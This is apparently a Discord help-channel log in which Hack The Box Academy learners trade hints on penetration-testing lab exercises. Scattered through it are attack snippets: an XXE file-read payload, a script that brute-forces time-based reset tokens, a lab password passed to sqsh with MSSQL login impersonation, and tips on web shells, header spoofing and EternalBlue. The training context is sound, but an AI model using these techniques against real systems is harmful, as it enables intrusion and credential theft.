modules

[analog tendon]

I just reset the machines yea all 3 ways dont seem to do what they should be doing. metasploit gets the file uploaded but it doesnt seem to start on the listener. the war payload created with msfvenom wont call back and the webshell uploaded gives a 404 error

[naive sky]

done using wfuzz

[analog tendon]

ok i seem to have gotten it now. used hacktricks version of the webshell

try resetting the machine and vpn

[neon ingot]

hello

[red current]

I'm in the Shells & Payloads PHP Web Shells section and every time I upload the file using Burpsuite and then navigate to the /images/vendor/connect.php on the site, I get the error of Not Found The requested URL /images/vendor/connect.php was not found on this server. Has anyone else run into this before? I made sure to use Burpsuite to change the file type from application/x-php to image/gif.

[vital adder]

so do you need help with something?

[vital adder]

first did the upload success? and did you named your web shell connect.php? the /images/vendor/ is the upload directory so your shell should be in there and if directory listing is enable you can just see your shell

[shut matrix]

Anyone got any good resources for learning assembly? Don’t mind reading books.

[rustic sage]

hi

[ripe grove]

try this site https://ost2.fyi

[dim cosmos]

just finished AD skills assessment 1, omg

i need a few shots of vodka

sweating....

[ripe grove]

has anyone been able to install and run pypykatz? It gives me errors

and it's not on the pwnbox either

[dim cosmos]

strong suggestion: dont attempt the AD skills assessments unless you really know the pivoting module work

[mighty trellis]

Shit wrong channel.

[ripe grove]

ok I solved the pypykatz issue

[sly tapir]

Password Attacks/Network Services - I am joining the share, but cannot dir or ls to see whats in the directory...could someone lend me a hint?

[woeful ermine]

as it says access denied

[sly tapir]

yea

haha

[woeful ermine]

are you asking the list of possiblities of why you are denied of access?

haha

your pass may wrong

your user may wrong

comes to mind at first

[sly tapir]

yea i thought that too, but crackmap stops when it finds that user...

unless i just remove it from list

[vital adder]

because that have valid user so you may want to remove that

[sly tapir]

ok let me try that then

[vital adder]

and the reason for this is because all user are on the same box but each user shouldn't have assess to (i think) almost service but still they do

so that is a valid user but hint just not the right one for smb

[sly tapir]

i see

[woeful ermine]

if that the case, you can also use "--continue-on-success" flag. So, it doesnt stop

[solid sage]

Could someone help me with Password Attacks Hard Lab? I tried brute forcing Johanna's password, but cannot get anything. I used mut.lists from the resources .

[acoustic owl]

Which service did you try to bruteforce then? Try || winrm ||

[solid sage]

Yes i did and i got none been resetting the target twice and nothing unfortunately..

[acoustic owl]

DM

[brisk geode]

got rickrolled by htb

[bronze sequoia]

hi

[tight mesa]

I need help in the metasploit framwork module, section payloads. I'm using the exploit0 exploit/linux/http/apache_druid_js_rce, changed rhosts to my target ip, and lhost to my ip, but its not running. I watched a tutorial online and he did nothing different than me, but still obtained a reverse shell. Is there something i'm missing?

[bronze sequoia]

ok?

[tight mesa]

nevermind, I just realized I was using the wrong ip address face palm

[bronze sequoia]

ok

[acoustic owl]

Did you configure the SRVPORT to the correct port?

[timber hatch]

i would like to train IoT Cyber Security. Any tipps for specific modules or even machines?

[bronze sequoia]

u guys look like bots, cuz u type like one. Lol

[hasty solar]

Hi I'm stuck on FOOTPRINTING LAB-MEDIUM: I enumerated UDP service and found creds for user alex, i logged into the server using this name and creds via RDP, but I found creds for user sa, i tried to log into the mssql server managament studio app, but I receive an error , I tried login into smb service using username alex and creds and found sa creds, what should I try next?

[acoustic owl]

Your user has no rights to access the database.
You have to log in with another Windows user (password you already have) via RDP on the client.

[hasty solar]

thanks for the help im gonna try

[primal silo]

yep try that with ffuf

[bronze sequoia]

is this just for talking random stuff?

in the modules

[proud pine]

Yes, this is for discussion about modules in the academy.

[hallow sluice]

sup

i need help with hack the box

if that is ok

[acoustic owl]

Unfortunately, we do not have a crystal ball and cannot see into the future. So if you tell us what you need help with, I'm sure you'll get some help. 😉

[hallow sluice]

to get started

idk how

[acoustic owl]

https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[hallow sluice]

ok

[ebon wigeon]

nice images

on enterprise "Introduction to Networking > Networking Models"

[autumn pilot]

yes

[ebon wigeon]

Thats academy

not enterprise 🤷‍♂️
Idk where to talk about enterprise

https://enterprise.hackthebox.com

[frigid vector]

Hello guys need a nudge on "BROKEN AUTHENTICATION-Brute Forcing Cookies"

[autumn pilot]

best bet is to reach out to support pload

[ivory dock]

In the Skills assessment of pivoting and tunneling, what am I expected to do for question 5? Load kiwi or something like that?

[autumn pilot]

but could be DNS as always..

[ebon wigeon]

DNS strikes again, i just moved on in the module. I'll check back when im done

Like loads of things are fucky

All the tables are whack

Wouldn't expect this for how much you pay for enterprise
HTB cashgrab moment

[uncut mirage]

Hi all,
I'm in the Attacking Common Services module, Attacking Common Services - Hard section. ||I have managed to login with SMB and get access to the IT folder with the three users and their .txt files. Then using the creds.txt file to login to the MSSQL service and via RDP as user fiona. I also managed to find the two users I can impersonate by logging into the MSSQL database. Problem is that neither john or simon gives me admin privilges, which is very confusing considering the hint in question 3.|| Can i get a hint on how to proceed? 🙏

[autumn pilot]

dunno, on the normal academy it loads just fine

[rustic sage]

Gm guys, still stuck on the 4th question as i was yesterday. I'm in "INTRODUCTION TO WINDOWS COMMAND LINE" ; Section "Skill assessment" question 4 "User4 has a lot of files and folders in their Documents folder. The flag can be found within one of them."

I have cd into on of the dir, all the other dir have the same flag.txt, but I'm not sure which one to open and it feels kinda overkill to cd into ea and everyone to find the right flag. Since there is multiple dir with the same '0 flag.txt'

And it seems there is no ASCII text in either of those i try to look for since there is "0 bytes" in the files

[proud pine]

I haven't done the module, but did they cover the 'tree' command?

[rustic sage]

Yes they did, i tried the tree command but it just spits out to much information that it seems overwhelming

Lemme get a sc on that

Need to scroll for like 5-7 seconds to get to the bottom

That is how big the folders are in \Documents

[proud pine]

Ah yeah, it looks like it's intentionally set up, to make you use tree.

[rustic sage]

As mentioned before, every dir has a another dir that has another dir

that has flag.txt

This is from the top, you need to scroll a bit to get to the bottom

[proud pine]

Ah. Did it cover powershell with gci?

That would probably be better, for this.

[rustic sage]

I have tried powershell commands, get-content or get childitem i even looked into the hive and it spewed out the same information

gci no i do not think so...

the module is so big

get-content i had permission denied i even tried an elevated powershell but i hade permission denied

they did cover sls but I'm not sure what string to search for...

I even tried that

I have tried every command i can think of in CMD or powershell

[proud pine]

I'd look to see if there's any section that covered Get-ChildItem (gci), which then was able to look at length.

[rustic sage]

Alright ill check into it

[woeful ermine]

check the sections again

[rustic sage]

Is there a command where i can read all the files within a dir?

[proud pine]

DM me

[uncut mirage]

Can you be a little more specific? I feel like I've read everything

[ivory dock]

anyone?

[woeful ermine]

the hint might feel confusing but it is actually a really good hint

the other hint might move forward

dont go back

step by step every door opens a new one

[uncut mirage]

Ok, but can you at least tell me if I'm on the right track with MSSQL?

[woeful ermine]

not sure be spesific

what do you mean?

have you found the answer to the question 3?

[uncut mirage]

Yes, ||It's John||, but does not provide admin privilege...

Like the question suggest

[woeful ermine]

I am telling you to move forward. Think about what might be the reason you have access to mssql

[uncut mirage]

||```┌──(kali㉿kali)-[~/HTB/AttackingCommonServices]
└─$ sqsh -S 10.129.203.10 -U .\fiona -P '48Ns72!bns74@S84NNNSl' -h
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1> USE master
2> go
1> EXECUTE AS LOGIN = 'john'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> go

    john
                                                                                                                          
       0

1> EXECUTE AS LOGIN = 'simon'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> go

    simon   
                                                                                                                         
       0

[woeful ermine]

its in the sections

read the sections again

you are missing sth

[uncut mirage]

Ok, I will forget MSSQL for now and try something else... Thanks

[autumn pilot]

you can use also the SQL management studio on the target

[frigid vector]

Guys any hint on "BROKEN AUTHENTICATION-Brute Forcing Cookies" - this module drives me to despair!

[acoustic owl]

Read the Hint
|| This web server doesn't trust your IP! ||

[acoustic owl]

Where exactly are you stuck?

[uncut mirage]

Tried that too, but I get a connection issue...

[autumn pilot]

maybe you need to tweak a setting before you can access the instance

[frigid vector]

Tamper the session cookie for the application at subdirectory /question1/ to give yourself access as a super user. What is the flag?

[acoustic owl]

Yes, this question is unfortunate. You have to add the role super in the cookie

[dim cosmos]

weird question - for the AD enumeration skills assessment 2 when I use crackmapexec smb --users to enumerate all the usernames i get all the various accounts such as INLANEFREIGHT.LOCAL\SX681, INLANEFREIGHT.LOCAL\MC188 etc etc. but when I enumerate with windapsearch (and kerbrute using the jsmith.txt) i get users like cn: Annie Vazquez
userPrincipalName: [e-mail]

why is this?

[frigid vector]

I'm using this || /CommonAdminBase64.txt|| wordlist but not sure that I set up my intruder correctly

[acoustic owl]

You don't need a wordlist at all.
Adjust your script so that it recalculates the cookie for you.
|| username: htbuser
role: super
time: unixtime ||

[frigid vector]

got it dude:)

awesome!

thank you!

[dim cosmos]

and then when i run enum4linux-ng i get a mix of both 😛

username: YL119
name: Jessica Ramsey
acb: '0x00000210'
description: (null)

why some tools have username as YL119 and others have it as [e-mail]

[open totem]

Hello, I am currently working on the "Password Attacks" module, but i got stuck on this question "Find the user for the WinRM service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer."

I ran crackmapexec and found the supposed user and password ||(john:november)||, but whenever i run evil-winrm i get this error Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

Can anyboby help me?

[autumn pilot]

yeah, sometimes evil-winrm is playing games

using web proxies showcases burp and zap

[open totem]

do you know what else could i use cuz i tried searching for other tools but i couldn't really find any

[autumn pilot]

maybe purge and install the tool again?

[open totem]

ok

will try that

thx

[random cliff]

Hi everyone! Can someone put me in the right direction on the Password Attack module (Network Services). The last guestion :Find the user for the SMB service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer. I can login to the SMB service with the user J**** and his password, but can not find the flag. The only shown readable share for me is IPC$. And when I do a "dir" on it there is nothing there. (smb: > dir
NT_STATUS_INVALID_INFO_CLASS listing * ) I do not know what am I missing or what am I dong wrong. Thank you

[junior hazel]

Someone has finished Active Directory Attacks module ? I need help on skills assessment Part II please

[low vine]

Quick questions on File Upload Assessment

I have found the bypasses and I'm able to use ||XXE to pull information /etc/password and sourcecode etc.|| It reads that I should be able to find the flag in the root directory "/" but when doing so it comes up blank.

I'm sure its slight misunderstanding on my part but would like small clarification / hint

Payload: ||<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:////"> ]>

<svg>&xxe;</svg> have also tried /flag.txt /flag etc||

[vital adder]

@bronze sequoia can't help but notice you been spamming a lot of random stuff through quite a lot of channel, do you need help with something?

[vital adder]

that is a valid user (not for the smb question) but still a valid user so you may want to remove that due to spoiler

also hint if you got access to target machine get all of the user on that machine and use it as a username wordlist if a user get a hit on smb but you get nothing when login like this just remove that user out of your wordlist and continued

[vital adder]

sure what's the issue?

[junior hazel]

I Was unable to access with rdp but I found it, thanks

[vital adder]

yep for this you have to get RCE so the flag is there just isn't named flag.txt

and hint ||source code||

[low vine]

Oh was not expecting to have to get RCE lol, let me figure this out ty for slight hint

[random cliff]

Thx, I'll try that

[calm abyss]

Hello guys, i am stuck at https://academy.hackthebox.com/module/75/section/764
Common Web Vulnerabilities

To which of the above categories does public vulnerability 'CVE-2014-6271' belongs to?

I was searching all over the internet for description and nothing that i imputed didnt work.
So i got stuck here, that is the final question that i didnt answer

[rustic sage]

Hi, I'm stuck at https://academy.hackthebox.com/module/80/section/837 question No. 2 . I can't get a username and password match. This is my script: `

#!/bin/python3

import sys
import requests
import os.path

# define target url, change as needed
url = "http://138.68.164.196:32364/question2/"

# define a fake headers to present ourself as Chromium browser, change if needed
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36",
    "X-Forwarded-For": "127.0.0.1"
}

# define the string expected if valid account has been found. our basic PHP example replies with Welcome in case of success

valid = "Welcome"

...SNIP...

[vital adder]

the python3 part from the example is the right path but you can just do it in burp

[dark hollow]

Linux Privilege escalation, Special Permissions. Not really sure what the questions are asking for. Little help please.

[rustic sage]

what's wrong with the script?

[vital adder]

no idea

from what i can tell you only put the part that you set some variable and nothing more

[rustic sage]

how would i go about doing it in burp?

[vital adder]

there is no code about seeding the request and for debugging you can just route it through proxy

[vital adder]

change the header in the request in to the example python code

[vital adder]

the answer for that question is 1 of the 4 given option on the section

[rustic sage]

but then i get rate limited

[dim cosmos]

ive spent all day working on the active directory enumeration skills assessments LOL

ive almost finished the 2nd one

[vital adder]

this part isn't about brute forcing

[rustic sage]

about what then

[dim cosmos]

head hurting, will sleep now

[chilly cosmos]

@rustic sage Hi

[rustic sage]

Hi

[vital adder]

like the question said one of the method showed and the section didn't show any brute forcing

just bypass method

[rustic sage]

hmm

[vital adder]

the python code is just changing 2 line in the header you can just do that in burp and get the flag

[calm abyss]

i found it, thank you for the little push !

[rustic sage]

oooooh think i get it

[simple zephyr]

What did I do wrong, lol

For SQL Injection Fundamentals - SQL Operators I am at a loss why this is not working. I even pulled the entire table and used grep to see if i was wrong and I keep getting ||322||

In the 'titles' table, what is the number of records WHERE the employee number is greater than 10000 OR their title does NOT contain 'engineer'?

||```rust
MariaDB [employees]> SELECT COUNT() FROM titles WHERE emp_no > 100000 OR title NOT LIKE '%engineer%';
+----------+
| COUNT() |
+----------+
| 322 |
+----------+
1 row in set (0.137 sec)

[vital adder]

spoiler if you do offshore the thing that is going to be hurting isn't going to be your head 🤣

[rustic sage]

got it... ty

thought i had to brute force

[vital adder]

oh so that's what the last part of your code are

[dim cosmos]

The computer will be hurting when I throw it out the window

[vital adder]

try without the COUNT thing and replace the ||OR|| with ||AND||

[dim cosmos]

I'm a bit off doing offshore I think

[low vine]

Okay so I feel like a big dunce, I have found ||upload.php and I see how the files are uploaded and where they are placed, but I'm not understanding how I get RCE from here unless I've just utterly failed on my recon of the bypasses. /uploads/230220_flag is my understanding of accessing the flag upload?||

[vital adder]

that's where your payload is uploaded not the flag also the upload directory is wrong

[low vine]

The directory is || /user_feedback_submissions/||

[vital adder]

still missing 1 more thing but that's the right part of it

[low vine]

|| /user_feedback_submissions/230220_penguins.svg -------based off of penguins.svg original file name||

Really makes me quesiton my ability here 😦

the struggle is real

[simple zephyr]

I had too many zeros

[slender kelp]

I'm stuck on the hard lab of the module network enumeration with nmap. I believe I know what I'm looking for but honestly I feel completely clueless as the flag isn't presented from that service

[frigid vector]

Find the valid username for the web application based at subdirectory /question2/. this question?

[rustic sage]

yes

[frigid vector]

1 sec I'll check my notes

[analog tendon]

is anyone else having issues with host 3 in the shells and payloads live engagement?

[frigid vector]

What do you do with that?
show me the command

[rustic sage]

used burp intruder to enumerate the usernames and the other params but no success

using the wordlist for top-usernames-short.txt

[rustic sage]

Feel free to DM - let me know what you know/did already; where you stuck

[frigid vector]

did you check each response?

[rustic sage]

yeah ~ "Invalid creds"

[frigid vector]

Let's try to do it with wfuzz as shown at this part of the module

I bet you will get the flag in 2 minutes 🙂

[frigid vector]

.

if something goes wrong send me your command and I'll fix your mistakes

[red current]

Thank you. I missed that I would need to change the name of the shell to connect.php. I should have realized that as that is where I was trying to navigate to.

[woeful ermine]

Because it has javascript and deobfuscation in its name, I was scared to start that module until today and finished it within an hour or so. OMG, the easiest module ever. hahaha

[analog tendon]

anyone available to help me with the last question on the shells and payloads live engagement?

[dense gate]

hlo guys

[woeful ermine]

if you just write it down it would be alot easier

[woeful ermine]

heyy

[analog tendon]

||Exploit and gain a shell session with Host-3. Then submit the contents of C:\Users\Administrator\Desktop\Skills-flag.txt||

everything in the hints and enumeration were screaming to use the eternalblue but when running it i got consistent failures

[dense gate]

can you change my nickname pls

[vital adder]

yeah that exploit only work like half of the time for me if i'm lucky but instead of if that exploit use the one that only run 1 command ||ms17_010_command|| and just get the flag

[analog tendon]

ill try that

[vital adder]

and also you can confirm exploit like this with nmap script or scans in metasploit and when you confirm the vuln and an exploit don't work then all you'll need to do is find a different one

[analog tendon]

well i did try the psexec version but there were no shares available to grab hold of

i have to reset the machine just waiting for it

[analog tendon]

that worked. thank you. this capstone was a nightmare.

before you got hold of me i was trying to use antak and lolbas to upload the file to the vm machine but i couldn't get an upload server going on it. you saved me probably 2 hours of troubleshooting for this on

[low vine]

Looking up ther error says "location" should be inside of server which I think it is? Have also tried putting in server / etc....Unsure why this isnt working.

    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

upstream tomcats {
        server <IP>:<PORT>;
        keepalive 10;
        }
server {
        listen 8080;
        location / {
                ajp_keep_conn on;
                ajp_pass tomcats;
        }
}

Nginx Reverse Proxy & AJP

nginx: [emerg] "location" directive is not allowed here in /etc/nginx/conf/nginx.conf:66

[faint sun]

for learning, whats better: hack the box or offensive security, if we just look at the effectiveness and not the price

[viral trail]

Htb

[faint sun]

why and in what aspects?

[low vine]

You can ask questions

and get squestions answered

[dire geyser]

Yoyoyo new GOAT in the chats

Jk

No one gonnna answr🐿

[faint sun]

cant you do that on other platforms too

and, objectively, an offsec certificate is an important thing for a job

[viral trail]

Then u should for CEH

[low vine]

Not on offsec yo ucant

[viral trail]

Hmm

[faint sun]

ceh can be done after some offsec certificate

i just dont understand if the beginner course is worth 800 bucks or not

[viral trail]

But ceh is basic

[viral trail]

Some time they run scholarships

[low vine]

spend $8 a month and see if HTB is the right fit

[hollow bramble]

In Port Forwarding with Windows Netsh of PIVOTING, TUNNELING AND PORT FORWARDING I'm having some issues with the netsh command:
||C:\Users\htb-student>netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.19 The requested operation requires elevation (Run as administrator).||

Usually you can pretty much follow the modules step by step and nowhere does it mention anything about getting ||Admin rights so I'm thinking that it's an issue with my command and not a matter of privesc before running netsh. ||Is it a wrong assumption? thanks

[uncut mirage]

Hi all,
I'm in the Attacking Common Services module, Attacking Common Services - Hard section. ||I have managed to login with SMB and get access to the IT folder with the three users and their .txt files. Then using the creds.txt file to login to the MSSQL service and via RDP as user fiona. I also managed to find the two users I can impersonate by logging into the MSSQL database. Problem is that neither john or simon gives me admin privilges, which is very confusing considering the hint in question 3.|| What am i missing?

[woeful ermine]

why copying pasting the same thing again

[uncut mirage]

Beacuse I still can't figure it out 😦

[woeful ermine]

you already told me you got the answer right for the 3rd question

[uncut mirage]

Yes, I had it right before i posted the first time

But i still don't have any admin rights...

[woeful ermine]

which means you are trying at the wrong place

[lapis dock]

Overview ℹ️:

• In this script one can convert different type of Currencies to Indian Rupees (INR).<br>
• This Script also have a log in screen.<br>
• Person's credentials are saved in a .json file.<br>

https://github.com/Tejas1510/Hacking-Scripts

[carmine cape]

Is it through rdp then or? I'm also totally lost and my brain is really not functioning anymore xD so could you hint more specific to what service or what part we have to do 😄

[charred bay]

Hello, I just joined HTB Academy and I found my self with an issue that my HTB viewer (web's pwnbox( starts and stops working after some seconds. I tried to find some info about it, but had no success. Sorry if I am posting this in wrong channel.

[unkempt zealot]

Some help at the predictable token reset please I have this script:
||```
from datetime import datetime
import pytz

now = datetime.now(pytz.timezone('GMT'))
epoch_time = int((now - datetime(1970, 1, 1, tzinfo=pytz.utc)).total_seconds() * 1000)
epoch_time_str = str(epoch_time)

print(epoch_time_str)

Which should return the time for variable now in this script:
||```
#!/usr/bin/python3

from hashlib import md5
import requests
from sys import exit
from time import time

# Change the url to your target / victim
url = "http://134.122.103.40:30363/question1/"

# To have a wide window try to bruteforce starting from 1050 seconds ago till 1050 seconds after.
# Change now and username variables as needed. IMPORTANT! the value for now has to be epoch time
# stamp in milliseconds, example 1654627487000 and not epoch timestamp, example 1654627487.

now        =  1676900794812
start_time = now - 1050
end_time   = now + 1050
fail_text  = "Wrong token"
username   = "htbadmin"

# loop from start_time to now. + 1 is needed because of how range() works
for x in range(start_time, end_time + 1):
    # get token md5
    timestamp = str(x)
    md5_token = md5((username+timestamp).encode()).hexdigest()
    data = {
        "submit": "check",
        "token": md5_token
    }

    print("checking {} {}".format(str(x), md5_token))

    # send the request
    res = requests.post(url, data=data)

    # response text check
    if not fail_text in res.text:
        print(res.text)
        print("[*] Congratulations! raw reply printed before")
        exit()
```||

But cant get it to work, any help please ?

[uncut mirage]

I'm aware thanks, would you be kind enough to give a useful hint? We are hard stuck here

Tried skimming the sections again like you said earlier... nothing 😦

[woeful ermine]

you ve got too many hints next thing is the answer

maybe you should left it for couple of days and start with a fresh mind

you are missing very obvious thing

[ripe grove]

Honestly I think you are better off building your own VM using either Kali or ParrotOS. The provided Pwnbox is missing some tools anyway. You can install tools on it, but they will get wiped away when you reset the Pwnbox. I only use it if all else fails or if I need to check something really quick

[ripe grove]

also, if what is start/stopping is the VPN, you can have only one VPN connection active at any one time

I think there is a pwnbox channel if you want to go into specifics of the provided pwnbox

[sly tapir]

From no experience in IT, I have learned a shit ton from HTB. I like how they build on the basics, and incorporate stuff as you progress through the paths. The hands-on portion is EXTREMELY important for me because I learn by hands on so reading the material then doing helps you better understand it.

[rustic sage]

Run the command part on your local terminal first to verify that it works.. your last payload does not make sense

Hi, I'm stuck once again at the Broken Authentication module (https://academy.hackthebox.com/module/80/section/767) question 2. I found the params in the request but really don't know what to do with them. Could anyone give me a hint what to do with the params

[unborn ocean]

Hello New to web pen-testing and was stuck on Web proxy encoding/decoding using burp suite. VTJ4U1VrNUZjRlZXVkVKTFZrWkdOVk5zVW10aFZYQlZWRmh3UzFaR2NITlRiRkphWld0d1ZWUllaRXRXUm10M1UyeFNUbVZGY0ZWWGJYaExWa1V3ZVZOc1VsZGlWWEJWVjIxNFMxWkZNVFJUYkZKaFlrVndWVmR0YUV0V1JUQjNVMnhTYTJGM1BUMD0= Trying to understand how to accomplish this with in burp suite decode. I have tired several methods with no luck.

[rustic sage]

Which encoding do you think it is?

[unborn ocean]

Base 64

[rustic sage]

Can you not simply select base64 then in burp decoder?

[unborn ocean]

Yes but there is flag with in it that am trying to decode " The string found in the attached file has been encoded several times with various encoders. Try to use the decoding tools we discussed to decode it and get the flag. "

[rustic sage]

You have do add additional decoders after the base64 decoding - I remember that was a pain in zap, but does burp not allow you several steps?

[rustic sage]

You have to try all user names from the wordlist and pay close attention to the response. One will be different

[unborn ocean]

yes it does thats were am stuck tried a few combos but have not found that combo

[rustic sage]

Try to understand the different formats, you'll find the combo then. It's about patience and understanding what the different formats look like

[unborn ocean]

ok thanks

[rustic sage]

I think it's mainly ||base64 and hex|| from what I remember

[sweet citrus]

I'm there a way to go throw the free machines ,
or just open any machine and go on

[rustic sage]

Hey guys

[uncut sequoia]

https://nohello.net

[rustic sage]

Ah...

Why is this a rule

[vital adder]

he isn't even verify or previously ask any thing, there is no chance he need help with modules

[vital adder]

nope the rule are at #rules

but if you need help with something just say that instead of hello

[rustic sage]

Dude , be nice
I obviously would want ask something about modules In the modules chat

[uncut sequoia]

Lol well this channel is for help with academy modules. If you have a question, it's much better to state your question instead of typing "hello"

Unless you're genuinely lost in the discord server which is ok. You'll have to verify to see other channels

[rustic sage]

Thank you so much
How do I get verified?

[uncut sequoia]

Send ++verify in the #bot-commands channel

It should send you a DM with instructions

[rustic sage]

Happy to have people like you in the server
You been really helpful !!

[uncut sequoia]

I try 😄

[rustic sage]

Hello, May I ask help for Pass the Hash Module? I successfully got David's hash but I tried to use Invoke-TheHash but it says "inlanefreight.htb\david WMI access denied on DC01"

how should I solve this issue?

[thorn urchin]

MRTom is like the nicest person in the chat. Its just literally a daily issue of people coming in here, not reading the rules or how to verify or the likes, then instantly treating this chat like its a general server chat, which it isnt. Popping in here just to say hi kinda mentally puts you in that camp of people.

[magic valve]

May I have some assistance/nudge with Password Attacks - Hard Lab I opened the encrypted bitlocker .vhd file. Attempted to utilize secretsdump.py to extract hashes but receive the following error.

[thorn urchin]

try copying out the files first just to be safe

[high sentinel]

anyone looking for help?

[opal jewel]

Probably a silly question. Shells & Payloads The Live Engagement am I not suppose to tunnel? The host with RDP access does not even have a browser to use

[thorn urchin]

wmi isn't the only remote access possibility, try some of the others.

[magic valve]

Receiving an Input/output error when attempting to copy the SYSTEM file to a directory outside of the mounted directory.

[thorn urchin]

then something's gone wrong with your mounting/decryption

[rustic sage]

Thank you!!

[opal jewel]

Nevermind, I slammed enter multiple times and got my chisel tunnel going. Like wtf -.-

[analog tendon]

lol i was planning on trying that but i just used the rdp. the machine does have firefox. if you open up a terminal and run firefox as a command itll open it

[hardy topaz]

Hi I'm working on the Documenting and Reporting module and I'm having an issue with the second question: "Steve is learning about the tool that can make logging a session easier. He messages you for help mentioning that he would like to try to split the panes vertically. What do you tell him?". I found the answer earlier in the module but I'm struggling to format it correctly. If anyone could help me out a bit that would be great (:

[mellow fjord]

hi

[opal jewel]

I am already committed with my tunnels. Good practice anyway

[magic valve]

That did it. Thank you @thorn urchin !

[novel matrix]

Let’s keep this channel on topic please

[thorn urchin]

👍

[dim cosmos]

woohooo just finishied both skills assessments for AD enumeration

the last few questions were actually the easiest lol

absolutely wild module

[honest ridge]

anyone have issues with password attacks module. section network services with RDP attack? it either connection errors or when it does start connection overloads even if setting the -t 1

[fathom pendant]

Did you keypass2john?

[rustic sage]

I still have some problem that says

😦

[rustic sage]

nvm i have found the david dc01

[lyric echo]

Hey! Im on Password Attacks - Network Services. Can someone help me understand how to obtain the user for the services such as Winrm, rdp, etc.. I understand how to obtain the password, but not getting how to get the single user Thanks

[carmine hill]

Hi there! Does someone know what happened to CBBH and CPTS channel. I don’t see them any longer. Is it just me?

[dim cosmos]

ok everyone, why when i run wpscan --url <URL> -e ap it finds 2 plugins, but if i run wpscan --url <URL> --enumerate it doesn't find plugins?

[raven cairn]

Is anyone having issues installing the latest version of pypykatz??? Install with pip or git clone ain't working for me

need to use for a module, but doing the install instructions on the github isn't working

even installed in a Venv

like i cant complete this skills assessment if I can't use this tool haha

[vital adder]

create a new pwnbox instance and run #modules message

[sly tapir]

how long does this password mutation module take? I have been brute forcing the password for a good minute now...used the provided resources.

[honest ridge]

you get the last 2 for network services?

[sly tapir]

oh course---i dont skip haha

[honest ridge]

xD

[sly tapir]

dont over think them...very straightforward

[void gate]

Module: Attacking Common Services
Section: Skills Assessment - Easy

1. I've enumerated the services and found the username & password
2. I've retrieved and read || the documents in FTP ||
3. I've checked || service user privileges in MariaDB and can read/write to host || and I understand my next step is || to upload a php shell to C:\xampp\htdocs || but I am unsure as to how to craft it and how to invoke it .

A nudge or someone to DM would be a huge help

[raven cairn]

Shorten that damn list lol

that section is horribly long

also i think that is the one where you have to bruteforce another service that they don't tell you is there

[sly tapir]

yea i have two going at once...ill try shortening it haha

feel like im losing knowledge its so long haha

[raven cairn]

that section is dumb af

[void gate]

Check the length of your mutated list with 'wc -l <mutated-password-list> it should be around ~90k. I messed up my mutation and ended up with 180k lines.

Hint || check other discord advice but you can generally cut the first 17k lines with "sed '1, 17000d' file.txt > new_file.txt" and get a quick result ||

[sly tapir]

interesting..thanks! yea my list is 187K

[void gate]

That's exactly what I did, I had to go back and review my mutation process and then got the right amount. good luck!

[bronze sequoia]

moneh

lol

[vestal halo]

Hey. Could you help. I have a problem with Linux and VMware

Hey, in trying to set up VMware but it says Befor you can run VMware, several modules must compiled and loaded into the running kernel

[bronze sequoia]

Oh!

How can I help?

[vestal halo]

It don’t run properly. do you know why?

[bronze sequoia]

I don't know why

[vestal halo]

Okay

[bronze sequoia]

Maybe you could ask another person

[autumn pilot]

in theory, setting up an smb server for instance, you can do both

[vestal halo]

Would you have an answer for me to?

[vestal halo]

?

[autumn pilot]

I can't fully understand that question, is it during vmware's installation or some virtual machine that you are trying to install?

[vestal halo]

I’m just trying to start with hack the box. I’m running a Linux system but am trying to instal VMware

[vestal halo]

During installation

[autumn pilot]

Try to paste the error message into google, and see if there are other peoples that could have experienced that

[vestal halo]

I’ve just installed stuff to. /usr/src

[vestal halo]

Okay. Thank you

Do you know a better way to set up the vpn?

For HackTheBox?

[autumn pilot]

OpenVPN's binaries are usually preinstalled on Ubuntu, Kali and ParrotOS for example, which leaves the opportunity for you to only execute the command and specify the path to the VPN in order to connect

[vestal halo]

I’m in elementary OS

[autumn pilot]

also, you can download ready-to-go ISOs that you can import into VMware and just boot up the machine

[vestal halo]

Okay. So is VMware an easy way to do it?

[autumn pilot]

Up to you, there isn't a general easy way, just adapt over what you have

[vestal halo]

Could you find me a tutorial for doing it in Linux. I can’t find one I’ve been looking for ages?

[autumn pilot]

no, this I will leave to you

[vestal halo]

Okay

Thank you

[timber hatch]

i am not able to move between the windows in tmux... i tried prefix + arrow up, arrows left...doesnt work...
i looked into the man pages and there it was described like this...i looked into the exmple_tmux.conf file but I did not get any wiser...
how should it work...? or in wich config file i do have to look?

[autumn pilot]

if you are using pwnbox, it will be a bit hard to do that

[timber hatch]

no my own...

[autumn pilot]

if you have created separate windows, then you must specify the window number

unless you have splitted them horizontally and/or vertically

https://www.youtube.com/watch?v=Yl7NFenTgIo

[timber hatch]

thanks will look that tutorial. before I watched one from ipsec...he did it also with the prefix + arrow

[autumn pilot]

also this - https://tmuxcheatsheet.com/

[timber hatch]

thanks ;)! ctrl + b, let ctrl go and than the arrows 😉

https://www.youtube.com/watch?v=Lqehvpe_djs&t=181s

ipsec 8:43 😉

[rustic sage]

Hello and good day everyone.
Please can you guide me on which modules in academy centre around infrastructure security domain and application security domain as the names of modules don't help much. I've seen OWASP top ten but I need a more guided approach to attacking these subjects, thank you.

[acoustic owl]

OWASP Top 10 is a path on the main platform (app.hackthebox.com). This path has nothing to do with the Academy.

The names of the modules in the Academy (academy.hackthebox.com) are actually self-explanatory.

On which platform are you looking for exactly what?

[rustic sage]

Thank you for your reply sir.

Ohhhh my bad.
I thought I'd seen it on HTB academy.

I'm currently on Academy sir, I'd like to study the aforementioned subjects, if you don't mind can you guide me on the modules I should study and other extra modules that might be helpful?

[acoustic owl]

